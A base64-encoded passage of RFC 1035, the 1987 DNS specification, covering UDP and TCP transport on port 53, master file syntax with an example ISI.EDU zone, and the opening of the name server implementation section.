dlcyB3aWxsIGJlIHRyYW5zbWl0dGVkIGFzIGRhdGFncmFtcyBvciBpbiBhCmJ5dGUgc3RyZWFtIGNhcnJpZWQgYnkgYSB2aXJ0dWFsIGNpcmN1aXQuICBXaGlsZSB2aXJ0dWFsIGNpcmN1aXRzIGNhbiBiZQp1c2VkIGZvciBhbnkgRE5TIGFjdGl2aXR5LCBkYXRhZ3JhbXMgYXJlIHByZWZlcnJlZCBmb3IgcXVlcmllcyBkdWUgdG8KdGhlaXIgbG93ZXIgb3ZlcmhlYWQgYW5kIGJldHRlciBwZXJmb3JtYW5jZS4gIFpvbmUgcmVmcmVzaCBhY3Rpdml0aWVzCm11c3QgdXNlIHZpcnR1YWwgY2lyY3VpdHMgYmVjYXVzZSBvZiB0aGUgbmVlZCBmb3IgcmVsaWFibGUgdHJhbnNmZXIuCgpUaGUgSW50ZXJuZXQgc3VwcG9ydHMgbmFtZSBzZXJ2ZXIgYWNjZXNzIHVzaW5nIFRDUCBbUkZDLTc5M10gb24gc2VydmVyCnBvcnQgNTMgKGRlY2ltYWwpIGFzIHdlbGwgYXMgZGF0YWdyYW0gYWNjZXNzIHVzaW5nIFVEUCBbUkZDLTc2OF0gb24gVURQCnBvcnQgNTMgKGRlY2ltYWwpLgoKNC4yLjEuIFVEUCB1c2FnZQoKTWVzc2FnZXMgc2VudCB1c2luZyBVRFAgdXNlciBzZXJ2ZXIgcG9ydCA1MyAoZGVjaW1hbCkuCgpNZXNzYWdlcyBjYXJyaWVkIGJ5IFVEUCBhcmUgcmVzdHJpY3RlZCB0byA1MTIgYnl0ZXMgKG5vdCBjb3VudGluZyB0aGUgSVAKb3IgVURQIGhlYWRlcnMpLiAgTG9uZ2VyIG1lc3NhZ2VzIGFyZSB0cnVuY2F0ZWQgYW5kIHRoZSBUQyBiaXQgaXMgc2V0IGluCnRoZSBoZWFkZXIuCgpVRFAgaXMgbm90IGFjY2VwdGFibGUgZm9yIHpvbmUgdHJhbnNmZXJzLCBidXQgaXMgdGhlIHJlY29tbWVuZGVkIG1ldGhvZApmb3Igc3RhbmRhcmQgcXVlcmllcyBpbiB0aGUgSW50ZXJuZXQuICBRdWVyaWVzIHNlbnQgdXNpbmcgVURQIG1heSBiZQpsb3N0LCBhbmQgaGVuY2UgYSByZXRyYW5zbWlzc2lvbiBzdHJhdGVneSBpcyByZXF1aXJlZC4gIFF1ZXJpZXMgb3IgdGhlaXIKcmVzcG9uc2VzIG1heSBiZSByZW9yZGVyZWQgYnkgdGhlIG5ldHdvcmssIG9yIGJ5IHByb2Nlc3NpbmcgaW4gbmFtZQpzZXJ2ZXJzLCBzbyByZXNvbHZlcnMgc2hvdWxkIG5vdCBkZXBlbmQgb24gdGhlbSBiZWluZyByZXR1cm5lZCBpbiBvcmRlci4KClRoZSBvcHRpbWFsIFVEUCByZXRyYW5zbWlzc2lvbiBwb2xpY3kgd2lsbCB2YXJ5IHdpdGggcGVyZm9ybWFuY2Ugb2YgdGhlCkludGVybmV0IGFuZCB0aGUgbmVlZHMgb2YgdGhlIGNsaWVudCwgYnV0IHRoZSBmb2xsb3dpbmcgYXJlIHJlY29tbWVuZGVkOgoKICAgLSBUaGUgY2xpZW50IHNob3VsZCB0cnkgb3RoZXIgc2VydmVycyBhbmQgc2VydmVyIGFkZHJlc3NlcwogICAgIGJlZm9yZSByZXBlYXRpbmcgYSBxdWVyeSB0byBhIHNwZWNpZmljIGFkZHJlc3Mgb2YgYSBzZXJ2ZXIuCgogICAtIFRoZSByZXRyYW5zbWlzc2lvbiBpbnRlcnZhbCBzaG91bGQgYmUgYmFzZWQgb24gcHJpb3IKICAgICBzdGF0aXN0aWNzIGlmIHBvc3NpYmxlLiAgVG9vIGFnZ3Jlc3NpdmUgcmV0cmFuc21pc3Npb24gY2FuCiAgICAgZWFzaWx5IHNsb3cgcmVzcG9uc2VzIGZvciB0aGUgY29tbXVuaXR5IGF0IGxhcmdlLiAgRGVwZW5kaW5nCiAgICAgb24gaG93IHdlbGwgY29ubmVjdGVkIHRoZSBjbGllbnQgaXMgdG8gaXRzIGV4cGVjdGVkIHNlcnZlcnMsCiAgICAgdGhlIG1pbmltdW0gcmV0cmFuc21pc3Npb24gaW50ZXJ2YWwgc2hvdWxkIGJlIDItNSBzZWNvbmRzLgoKTW9yZSBzdWdnZXN0aW9ucyBvbiBzZXJ2ZXIgc2VsZWN0aW9uIGFuZCByZXRyYW5zbWlzc2lvbiBwb2xpY3kgY2FuIGJlCmZvdW5kIGluIHRoZSByZXNvbHZlciBzZWN0aW9uIG9mIHRoaXMgbWVtby4KCjQuMi4yLiBUQ1AgdXNhZ2UKCk1lc3NhZ2VzIHNlbnQgb3ZlciBUQ1AgY29ubmVjdGlvbnMgdXNlIHNlcnZlciBwb3J0IDUzIChkZWNpbWFsKS4gIFRoZQptZXNzYWdlIGlzIHByZWZpeGVkIHdpdGggYSB0d28gYnl0ZSBsZW5ndGggZmllbGQgd2hpY2ggZ2l2ZXMgdGhlIG1lc3NhZ2UKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzJdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKbGVuZ3RoLCBleGNsdWRpbmcgdGhlIHR3byBieXRlIGxlbmd0aCBmaWVsZC4gIFRoaXMgbGVuZ3RoIGZpZWxkIGFsbG93cwp0aGUgbG93LWxldmVsIHByb2Nlc3NpbmcgdG8gYXNzZW1ibGUgYSBjb21wbGV0ZSBtZXNzYWdlIGJlZm9yZSBiZWdpbm5pbmcKdG8gcGFyc2UgaXQuCgpTZXZlcmFsIGNvbm5lY3Rpb24gbWFuYWdlbWVudCBwb2xpY2llcyBhcmUgcmVjb21tZW5kZWQ6CgogICAtIFRoZSBzZXJ2ZXIgc2hvdWxkIG5vdCBibG9jayBvdGhlciBhY3Rpdml0aWVzIHdhaXRpbmcgZm9yIFRDUAogICAgIGRhdGEuCgogICAtIFRoZSBzZXJ2ZXIgc2hvdWxkIHN1cHBvcnQgbXVsdGlwbGUgY29ubmVjdGlvbnMuCgogICAtIFRoZSBzZXJ2ZXIgc2hvdWxkIGFzc3VtZSB0aGF0IHRoZSBjbGllbnQgd2lsbCBpbml0aWF0ZQogICAgIGNvbm5lY3Rpb24gY2xvc2luZywgYW5kIHNob3VsZCBkZWxheSBjbG9zaW5nIGl0cyBlbmQgb2YgdGhlCiAgICAgY29ubmVjdGlvbiB1bnRpbCBhbGwgb3V0c3RhbmRpbmcgY2xpZW50IHJlcXVlc3RzIGhhdmUgYmVlbgogICAgIHNhdGlzZmllZC4KCiAgIC0gSWYgdGhlIHNlcnZlciBuZWVkcyB0byBjbG9zZSBhIGRvcm1hbnQgY29ubmVjdGlvbiB0byByZWNsYWltCiAgICAgcmVzb3VyY2VzLCBpdCBzaG91bGQgd2FpdCB1bnRpbCB0aGUgY29ubmVjdGlvbiBoYXMgYmVlbiBpZGxlCiAgICAgZm9yIGEgcGVyaW9kIG9uIHRoZSBvcmRlciBvZiB0d28gbWludXRlcy4gIEluIHBhcnRpY3VsYXIsIHRoZQogICAgIHNlcnZlciBzaG91bGQgYWxsb3cgdGhlIFNPQSBhbmQgQVhGUiByZXF1ZXN0IHNlcXVlbmNlICh3aGljaAogICAgIGJlZ2lucyBhIHJlZnJlc2ggb3BlcmF0aW9uKSB0byBiZSBtYWRlIG9uIGEgc2luZ2xlIGNvbm5lY3Rpb24uCiAgICAgU2luY2UgdGhlIHNlcnZlciB3b3VsZCBiZSB1bmFibGUgdG8gYW5zd2VyIHF1ZXJpZXMgYW55d2F5LCBhCiAgICAgdW5pbGF0ZXJhbCBjbG9zZSBvciByZXNldCBtYXkgYmUgdXNlZCBpbnN0ZWFkIG9mIGEgZ3JhY2VmdWwKICAgICBjbG9zZS4KCjUuIE1BU1RFUiBGSUxFUwoKTWFzdGVyIGZpbGVzIGFyZSB0ZXh0IGZpbGVzIHRoYXQgY29udGFpbiBSUnMgaW4gdGV4dCBmb3JtLiAgU2luY2UgdGhlCmNvbnRlbnRzIG9mIGEgem9uZSBjYW4gYmUgZXhwcmVzc2VkIGluIHRoZSBmb3JtIG9mIGEgbGlzdCBvZiBSUnMgYQptYXN0ZXIgZmlsZSBpcyBtb3N0IG9mdGVuIHVzZWQgdG8gZGVmaW5lIGEgem9uZSwgdGhvdWdoIGl0IGNhbiBiZSB1c2VkCnRvIGxpc3QgYSBjYWNoZSdzIGNvbnRlbnRzLiAgSGVuY2UsIHRoaXMgc2VjdGlvbiBmaXJzdCBkaXNjdXNzZXMgdGhlCmZvcm1hdCBvZiBSUnMgaW4gYSBtYXN0ZXIgZmlsZSwgYW5kIHRoZW4gdGhlIHNwZWNpYWwgY29uc2lkZXJhdGlvbnMgd2hlbgphIG1hc3RlciBmaWxlIGlzIHVzZWQgdG8gY3JlYXRlIGEgem9uZSBpbiBzb21lIG5hbWUgc2VydmVyLgoKNS4xLiBGb3JtYXQKClRoZSBmb3JtYXQgb2YgdGhlc2UgZmlsZXMgaXMgYSBzZXF1ZW5jZSBvZiBlbnRyaWVzLiAgRW50cmllcyBhcmUKcHJlZG9taW5hbnRseSBsaW5lLW9yaWVudGVkLCB0aG91Z2ggcGFyZW50aGVzZXMgY2FuIGJlIHVzZWQgdG8gY29udGludWUKYSBsaXN0IG9mIGl0ZW1zIGFjcm9zcyBhIGxpbmUgYm91bmRhcnksIGFuZCB0ZXh0IGxpdGVyYWxzIGNhbiBjb250YWluCkNSTEYgd2l0aGluIHRoZSB0ZXh0LiAgQW55IGNvbWJpbmF0aW9uIG9mIHRhYnMgYW5kIHNwYWNlcyBhY3QgYXMgYQpkZWxpbWl0ZXIgYmV0d2VlbiB0aGUgc2VwYXJhdGUgaXRlbXMgdGhhdCBtYWtlIHVwIGFuIGVudHJ5LiAgVGhlIGVuZCBvZgphbnkgbGluZSBpbiB0aGUgbWFzdGVyIGZpbGUgY2FuIGVuZCB3aXRoIGEgY29tbWVudC4gIFRoZSBjb21tZW50IHN0YXJ0cwp3aXRoIGEgIjsiIChzZW1pY29sb24pLgoKVGhlIGZvbGxvd2luZyBlbnRyaWVzIGFyZSBkZWZpbmVkOgoKICAgIDxibGFuaz5bPGNvbW1lbnQ+XQoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzNdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKICAgICRPUklHSU4gPGRvbWFpbi1uYW1lPiBbPGNvbW1lbnQ+XQoKICAgICRJTkNMVURFIDxmaWxlLW5hbWU+IFs8ZG9tYWluLW5hbWU+XSBbPGNvbW1lbnQ+XQoKICAgIDxkb21haW4tbmFtZT48cnI+IFs8Y29tbWVudD5dCgogICAgPGJsYW5rPjxycj4gWzxjb21tZW50Pl0KCkJsYW5rIGxpbmVzLCB3aXRoIG9yIHdpdGhvdXQgY29tbWVudHMsIGFyZSBhbGxvd2VkIGFueXdoZXJlIGluIHRoZSBmaWxlLgoKVHdvIGNvbnRyb2wgZW50cmllcyBhcmUgZGVmaW5lZDogJE9SSUdJTiBhbmQgJElOQ0xVREUuICAkT1JJR0lOIGlzCmZvbGxvd2VkIGJ5IGEgZG9tYWluIG5hbWUsIGFuZCByZXNldHMgdGhlIGN1cnJlbnQgb3JpZ2luIGZvciByZWxhdGl2ZQpkb21haW4gbmFtZXMgdG8gdGhlIHN0YXRlZCBuYW1lLiAgJElOQ0xVREUgaW5zZXJ0cyB0aGUgbmFtZWQgZmlsZSBpbnRvCnRoZSBjdXJyZW50IGZpbGUsIGFuZCBtYXkgb3B0aW9uYWxseSBzcGVjaWZ5IGEgZG9tYWluIG5hbWUgdGhhdCBzZXRzIHRoZQpyZWxhdGl2ZSBkb21haW4gbmFtZSBvcmlnaW4gZm9yIHRoZSBpbmNsdWRlZCBmaWxlLiAgJElOQ0xVREUgbWF5IGFsc28KaGF2ZSBhIGNvbW1lbnQuICBOb3RlIHRoYXQgYSAkSU5DTFVERSBlbnRyeSBuZXZlciBjaGFuZ2VzIHRoZSByZWxhdGl2ZQpvcmlnaW4gb2YgdGhlIHBhcmVudCBmaWxlLCByZWdhcmRsZXNzIG9mIGNoYW5nZXMgdG8gdGhlIHJlbGF0aXZlIG9yaWdpbgptYWRlIHdpdGhpbiB0aGUgaW5jbHVkZWQgZmlsZS4KClRoZSBsYXN0IHR3byBmb3JtcyByZXByZXNlbnQgUlJzLiAgSWYgYW4gZW50cnkgZm9yIGFuIFJSIGJlZ2lucyB3aXRoIGEKYmxhbmssIHRoZW4gdGhlIFJSIGlzIGFzc3VtZWQgdG8gYmUgb3duZWQgYnkgdGhlIGxhc3Qgc3RhdGVkIG93bmVyLiAgSWYKYW4gUlIgZW50cnkgYmVnaW5zIHdpdGggYSA8ZG9tYWluLW5hbWU+LCB0aGVuIHRoZSBvd25lciBuYW1lIGlzIHJlc2V0LgoKPHJyPiBjb250ZW50cyB0YWtlIG9uZSBvZiB0aGUgZm9sbG93aW5nIGZvcm1zOgoKICAgIFs8VFRMPl0gWzxjbGFzcz5dIDx0eXBlPiA8UkRBVEE+CgogICAgWzxjbGFzcz5dIFs8VFRMPl0gPHR5cGU+IDxSREFUQT4KClRoZSBSUiBiZWdpbnMgd2l0aCBvcHRpb25hbCBUVEwgYW5kIGNsYXNzIGZpZWxkcywgZm9sbG93ZWQgYnkgYSB0eXBlIGFuZApSREFUQSBmaWVsZCBhcHByb3ByaWF0ZSB0byB0aGUgdHlwZSBhbmQgY2xhc3MuICBDbGFzcyBhbmQgdHlwZSB1c2UgdGhlCnN0YW5kYXJkIG1uZW1vbmljcywgVFRMIGlzIGEgZGVjaW1hbCBpbnRlZ2VyLiAgT21pdHRlZCBjbGFzcyBhbmQgVFRMCnZhbHVlcyBhcmUgZGVmYXVsdCB0byB0aGUgbGFzdCBleHBsaWNpdGx5IHN0YXRlZCB2YWx1ZXMuICBTaW5jZSB0eXBlIGFuZApjbGFzcyBtbmVtb25pY3MgYXJlIGRpc2pvaW50LCB0aGUgcGFyc2UgaXMgdW5pcXVlLiAgKE5vdGUgdGhhdCB0aGlzCm9yZGVyIGlzIGRpZmZlcmVudCBmcm9tIHRoZSBvcmRlciB1c2VkIGluIGV4YW1wbGVzIGFuZCB0aGUgb3JkZXIgdXNlZCBpbgp0aGUgYWN0dWFsIFJSczsgdGhlIGdpdmVuIG9yZGVyIGFsbG93cyBlYXNpZXIgcGFyc2luZyBhbmQgZGVmYXVsdGluZy4pCgo8ZG9tYWluLW5hbWU+cyBtYWtlIHVwIGEgbGFyZ2Ugc2hhcmUgb2YgdGhlIGRhdGEgaW4gdGhlIG1hc3RlciBmaWxlLgpUaGUgbGFiZWxzIGluIHRoZSBkb21haW4gbmFtZSBhcmUgZXhwcmVzc2VkIGFzIGNoYXJhY3RlciBzdHJpbmdzIGFuZApzZXBhcmF0ZWQgYnkgZG90cy4gIFF1b3RpbmcgY29udmVudGlvbnMgYWxsb3cgYXJiaXRyYXJ5IGNoYXJhY3RlcnMgdG8gYmUKc3RvcmVkIGluIGRvbWFpbiBuYW1lcy4gIERvbWFpbiBuYW1lcyB0aGF0IGVuZCBpbiBhIGRvdCBhcmUgY2FsbGVkCmFic29sdXRlLCBhbmQgYXJlIHRha2VuIGFzIGNvbXBsZXRlLiAgRG9tYWluIG5hbWVzIHdoaWNoIGRvIG5vdCBlbmQgaW4gYQpkb3QgYXJlIGNhbGxlZCByZWxhdGl2ZTsgdGhlIGFjdHVhbCBkb21haW4gbmFtZSBpcyB0aGUgY29uY2F0ZW5hdGlvbiBvZgp0aGUgcmVsYXRpdmUgcGFydCB3aXRoIGFuIG9yaWdpbiBzcGVjaWZpZWQgaW4gYSAkT1JJR0lOLCAkSU5DTFVERSwgb3IgYXMKYW4gYXJndW1lbnQgdG8gdGhlIG1hc3RlciBmaWxlIGxvYWRpbmcgcm91dGluZS4gIEEgcmVsYXRpdmUgbmFtZSBpcyBhbgplcnJvciB3aGVuIG5vIG9yaWdpbiBpcyBhdmFpbGFibGUuCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzRdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKPGNoYXJhY3Rlci1zdHJpbmc+IGlzIGV4cHJlc3NlZCBpbiBvbmUgb3IgdHdvIHdheXM6IGFzIGEgY29udGlndW91cyBzZXQKb2YgY2hhcmFjdGVycyB3aXRob3V0IGludGVyaW9yIHNwYWNlcywgb3IgYXMgYSBzdHJpbmcgYmVnaW5uaW5nIHdpdGggYSAiCmFuZCBlbmRpbmcgd2l0aCBhICIuICBJbnNpZGUgYSAiIGRlbGltaXRlZCBzdHJpbmcgYW55IGNoYXJhY3RlciBjYW4Kb2NjdXIsIGV4Y2VwdCBmb3IgYSAiIGl0c2VsZiwgd2hpY2ggbXVzdCBiZSBxdW90ZWQgdXNpbmcgXCAoYmFjayBzbGFzaCkuCgpCZWNhdXNlIHRoZXNlIGZpbGVzIGFyZSB0ZXh0IGZpbGVzIHNldmVyYWwgc3BlY2lhbCBlbmNvZGluZ3MgYXJlCm5lY2Vzc2FyeSB0byBhbGxvdyBhcmJpdHJhcnkgZGF0YSB0byBiZSBsb2FkZWQuICBJbiBwYXJ0aWN1bGFyOgoKICAgICAgICAgICAgICAgIG9mIHRoZSByb290LgoKQCAgICAgICAgICAgICAgIEEgZnJlZSBzdGFuZGluZyBAIGlzIHVzZWQgdG8gZGVub3RlIHRoZSBjdXJyZW50IG9yaWdpbi4KClxYICAgICAgICAgICAgICB3aGVyZSBYIGlzIGFueSBjaGFyYWN0ZXIgb3RoZXIgdGhhbiBhIGRpZ2l0ICgwLTkpLCBpcwogICAgICAgICAgICAgICAgdXNlZCB0byBxdW90ZSB0aGF0IGNoYXJhY3RlciBzbyB0aGF0IGl0cyBzcGVjaWFsIG1lYW5pbmcKICAgICAgICAgICAgICAgIGRvZXMgbm90IGFwcGx5LiAgRm9yIGV4YW1wbGUsICJcLiIgY2FuIGJlIHVzZWQgdG8gcGxhY2UKICAgICAgICAgICAgICAgIGEgZG90IGNoYXJhY3RlciBpbiBhIGxhYmVsLgoKXERERCAgICAgICAgICAgIHdoZXJlIGVhY2ggRCBpcyBhIGRpZ2l0IGlzIHRoZSBvY3RldCBjb3JyZXNwb25kaW5nIHRvCiAgICAgICAgICAgICAgICB0aGUgZGVjaW1hbCBudW1iZXIgZGVzY3JpYmVkIGJ5IERERC4gIFRoZSByZXN1bHRpbmcKICAgICAgICAgICAgICAgIG9jdGV0IGlzIGFzc3VtZWQgdG8gYmUgdGV4dCBhbmQgaXMgbm90IGNoZWNrZWQgZm9yCiAgICAgICAgICAgICAgICBzcGVjaWFsIG1lYW5pbmcuCgooICkgICAgICAgICAgICAgUGFyZW50aGVzZXMgYXJlIHVzZWQgdG8gZ3JvdXAgZGF0YSB0aGF0IGNyb3NzZXMgYSBsaW5lCiAgICAgICAgICAgICAgICBib3VuZGFyeS4gIEluIGVmZmVjdCwgbGluZSB0ZXJtaW5hdGlvbnMgYXJlIG5vdAogICAgICAgICAgICAgICAgcmVjb2duaXplZCB3aXRoaW4gcGFyZW50aGVzZXMuCgo7ICAgICAgICAgICAgICAgU2VtaWNvbG9uIGlzIHVzZWQgdG8gc3RhcnQgYSBjb21tZW50OyB0aGUgcmVtYWluZGVyIG9mCiAgICAgICAgICAgICAgICB0aGUgbGluZSBpcyBpZ25vcmVkLgoKNS4yLiBVc2Ugb2YgbWFzdGVyIGZpbGVzIHRvIGRlZmluZSB6b25lcwoKV2hlbiBhIG1hc3RlciBmaWxlIGlzIHVzZWQgdG8gbG9hZCBhIHpvbmUsIHRoZSBvcGVyYXRpb24gc2hvdWxkIGJlCnN1cHByZXNzZWQgaWYgYW55IGVycm9ycyBhcmUgZW5jb3VudGVyZWQgaW4gdGhlIG1hc3RlciBmaWxlLiAgVGhlCnJhdGlvbmFsZSBmb3IgdGhpcyBpcyB0aGF0IGEgc2luZ2xlIGVycm9yIGNhbiBoYXZlIHdpZGVzcHJlYWQKY29uc2VxdWVuY2VzLiAgRm9yIGV4YW1wbGUsIHN1cHBvc2UgdGhhdCB0aGUgUlJzIGRlZmluaW5nIGEgZGVsZWdhdGlvbgpoYXZlIHN5bnRheCBlcnJvcnM7IHRoZW4gdGhlIHNlcnZlciB3aWxsIHJldHVybiBhdXRob3JpdGF0aXZlIG5hbWUKZXJyb3JzIGZvciBhbGwgbmFtZXMgaW4gdGhlIHN1YnpvbmUgKGV4Y2VwdCBpbiB0aGUgY2FzZSB3aGVyZSB0aGUKc3Viem9uZSBpcyBhbHNvIHByZXNlbnQgb24gdGhlIHNlcnZlcikuCgpTZXZlcmFsIG90aGVyIHZhbGlkaXR5IGNoZWNrcyB0aGF0IHNob3VsZCBiZSBwZXJmb3JtZWQgaW4gYWRkaXRpb24gdG8KaW5zdXJpbmcgdGhhdCB0aGUgZmlsZSBpcyBzeW50YWN0aWNhbGx5IGNvcnJlY3Q6CgogICAxLiBBbGwgUlJzIGluIHRoZSBmaWxlIHNob3VsZCBoYXZlIHRoZSBzYW1lIGNsYXNzLgoKICAgMi4gRXhhY3RseSBvbmUgU09BIFJSIHNob3VsZCBiZSBwcmVzZW50IGF0IHRoZSB0b3Agb2YgdGhlIHpvbmUuCgogICAzLiBJZiBkZWxlZ2F0aW9ucyBhcmUgcHJlc2VudCBhbmQgZ2x1ZSBpbmZvcm1hdGlvbiBpcyByZXF1aXJlZCwKICAgICAgaXQgc2hvdWxkIGJlIHByZXNlbnQuCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDM1XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCiAgIDQuIEluZm9ybWF0aW9uIHByZXNlbnQgb3V0c2lkZSBvZiB0aGUgYXV0aG9yaXRhdGl2ZSBub2RlcyBpbiB0aGUKICAgICAgem9uZSBzaG91bGQgYmUgZ2x1ZSBpbmZvcm1hdGlvbiwgcmF0aGVyIHRoYW4gdGhlIHJlc3VsdCBvZiBhbgogICAgICBvcmlnaW4gb3Igc2ltaWxhciBlcnJvci4KCjUuMy4gTWFzdGVyIGZpbGUgZXhhbXBsZQoKVGhlIGZvbGxvd2luZyBpcyBhbiBleGFtcGxlIGZpbGUgd2hpY2ggbWlnaHQgYmUgdXNlZCB0byBkZWZpbmUgdGhlCklTSS5FRFUgem9uZS5hbmQgaXMgbG9hZGVkIHdpdGggYW4gb3JpZ2luIG9mIElTSS5FRFU6CgpAICAgSU4gIFNPQSAgICAgVkVORVJBICAgICAgQWN0aW9uXC5kb21haW5zICgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjAgICAgIDsgU0VSSUFMCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDcyMDAgICA7IFJFRlJFU0gKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNjAwICAgIDsgUkVUUlkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzYwMDAwMDsgRVhQSVJFCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDYwKSAgICA7IE1JTklNVU0KCiAgICAgICAgTlMgICAgICBBLklTSS5FRFUuCiAgICAgICAgTlMgICAgICBWRU5FUkEKICAgICAgICBOUyAgICAgIFZBWEEKICAgICAgICBNWCAgICAgIDEwICAgICAgVkVORVJBCiAgICAgICAgTVggICAgICAyMCAgICAgIFZBWEEKCkEgICAgICAgQSAgICAgICAyNi4zLjAuMTAzCgpWRU5FUkEgIEEgICAgICAgMTAuMS4wLjUyCiAgICAgICAgQSAgICAgICAxMjguOS4wLjMyCgpWQVhBICAgIEEgICAgICAgMTAuMi4wLjI3CiAgICAgICAgQSAgICAgICAxMjguOS4wLjMzCgoKJElOQ0xVREUgPFNVQlNZUz5JU0ktTUFJTEJPWEVTLlRYVAoKV2hlcmUgdGhlIGZpbGUgPFNVQlNZUz5JU0ktTUFJTEJPWEVTLlRYVCBpczoKCiAgICBNT0UgICAgIE1CICAgICAgQS5JU0kuRURVLgogICAgTEFSUlkgICBNQiAgICAgIEEuSVNJLkVEVS4KICAgIENVUkxFWSAgTUIgICAgICBBLklTSS5FRFUuCiAgICBTVE9PR0VTIE1HICAgICAgTU9FCiAgICAgICAgICAgIE1HICAgICAgTEFSUlkKICAgICAgICAgICAgTUcgICAgICBDVVJMRVkKCk5vdGUgdGhlIHVzZSBvZiB0aGUgXCBjaGFyYWN0ZXIgaW4gdGhlIFNPQSBSUiB0byBzcGVjaWZ5IHRoZSByZXNwb25zaWJsZQpwZXJzb24gbWFpbGJveCAiQWN0aW9uLmRvbWFpbnNARS5JU0kuRURVIi4KCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDM2XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCjYuIE5BTUUgU0VSVkVSIElNUExFTUVOVEFUSU9OCgo2LjEuIEFyY2hpdGVjdHVyZQoKVGhlIG9wdGltYWwgc3RydWN0dXJlIGZvciB0aGUgbmFtZSBzZXJ2ZXIgd2lsbCBkZXBlbmQgb24gdGhlIGhvc3QKb3BlcmF0aW5nIHN5c3RlbSBhbmQgd2hldGhlciB0aGUgbmFtZSBzZXJ2ZXIgaXMgaW50ZWdyYXRlZCB3aXRoIHJlc29sdmVyCm9wZXJhdGlvbnMsIGVpdGhlciBieSBzdXBwb3J0aW5nIHJlY3Vyc2l2ZSBzZXJ2aWNlLCBvciBieSBzaGFyaW5nIGl0cwpkYXRhYmFzZSB3aXRoIGEgcmVzb2x2ZXIuICBUaGlzIHNlY3Rpb24gZGlzY3Vzc2VzIGltcGxlbWVudGF0aW9uCmNvbnNpZGVyYXRpb25zIGZvciBhIG5hbWUgc2VydmVyIHdoaWNoIHNoYXJlcyBhIGRhdGFiYXNlIHdpdGggYQpyZXNvbHZlciwgYnV0IG1vc3Qgb2YgdGhlc2UgY29uY2VybnMgYXJlIHByZXNlbnQgaW4gYW55IG5hbWUgc2VydmVyLgoKNi4xLjEuIENvbnRyb2wKCkEgbmFtZSBzZXJ2ZXIgbXVzdCBlbXBsb3kgbXVsdGlwbGUgY29uY3VycmVudCBhY3Rpdml0aWVzLCB3aGV0aGVyIHRoZXkKYXJlIGltcGxlbWVudGVkIGFzIHNlcGFyYXRlIHRhc2tzIGluIHRoZSBob3N0J3MgT1Mgb3IgbXVsdGlwbGV4aW5nCmluc2lkZSBhIHNpbmdsZSBuYW1lIHNlcnZlciBwcm9ncmFtLiAgSXQgaXMgc2ltcGx5IG5vdCBhY2NlcHRhYmxlIGZvciBhCm5hbWUgc2VydmVyIHRvIGJsb2NrIHRoZSBzZXJ2aWNlIG9mIFVEUCByZXF1ZXN0cyB3aGlsZSBpdCB3YWl0cyBmb3IgVENQCmRhdGEgZm9yIHJlZnJlc2hpbmcgb3IgcXVlcnkgYWN0aXZpdGllcy4gIFNpbWlsYXJseSwgYSBuYW1lIHNlcnZlcgpzaG91bGQgbm90IGF0dGVtcHQgdG8gcHJvdmlkZSByZWN1cnNpdmUgc2VydmljZSB3aXRob3V0IHByb2Nlc3Npbmcgc3VjaApyZXF1ZXN0cyBpbiBwYXJhbGxlbCwgdGhvdWdoIGl0IG1heSBjaG9vc2UgdG8gc2VyaWFsaXplIHJlcXVlc3RzIGZyb20gYQpzaW5nbGUgY2xpZW50LCBvciB0byByZWdhcmQgaWRlbnRpY2FsIHJlcXVlc3RzIGZyb20gdGhlIHNhbWUgY2xpZW50IGFzCmR1cGxpY2F0ZXMuICBBIG5hbWUgc2VydmVyIHNob3VsZCBub3Qgc3Vic3RhbnRpYWxseSBkZWxheSByZXF1ZXN0cyB3aGlsZQppdCByZWxvYWRzIGEgem9uZSBmcm9tIG1hc3RlciBmaWxlcyBvciB3aGlsZSBpdCBpbmNvcnBvcmF0ZXMgYSBuZXdseQpyZWZyZXNoZWQgem9uZSBpbnRvIGl0cyBkYXRhYmFzZS4KCjYuMS4yLiBEYXRhYmFzZQoKV2hpbGUgbmFtZSBzZXJ2ZXIgaW1wbGVtZW50YXRpb25zIGFyZSBmcmVlIHRvIHVzZSBhbnkgaW50ZXJuYWwgZGF0YQpzdHJ1Y3R1cmVzIHRoZXkgY2hvb3NlLCB0aGUgc3VnZ2VzdGVkIHN0cnVjdHVyZSBjb25zaXN0cyBvZiB0aHJlZSBtYWpvcgpwYXJ0czoKCiAgIC0gQSAiY2F0YWxvZyIgZGF0YSBzdHJ1Y3R1cmUgd2hpY2ggbGlzdHMgdGhlIHpvbmVzIGF2YWlsYWJsZSB0bwogICAgIHRoaXMgc2VydmVyLCBhbmQgYSAicG9pbnRlciIgdG8gdGhlIHpvbmUgZGF0YSBzdHJ1Y3R1cmUuICBUaGUKICAgICBtYWluIHB1cnBvc2Ugb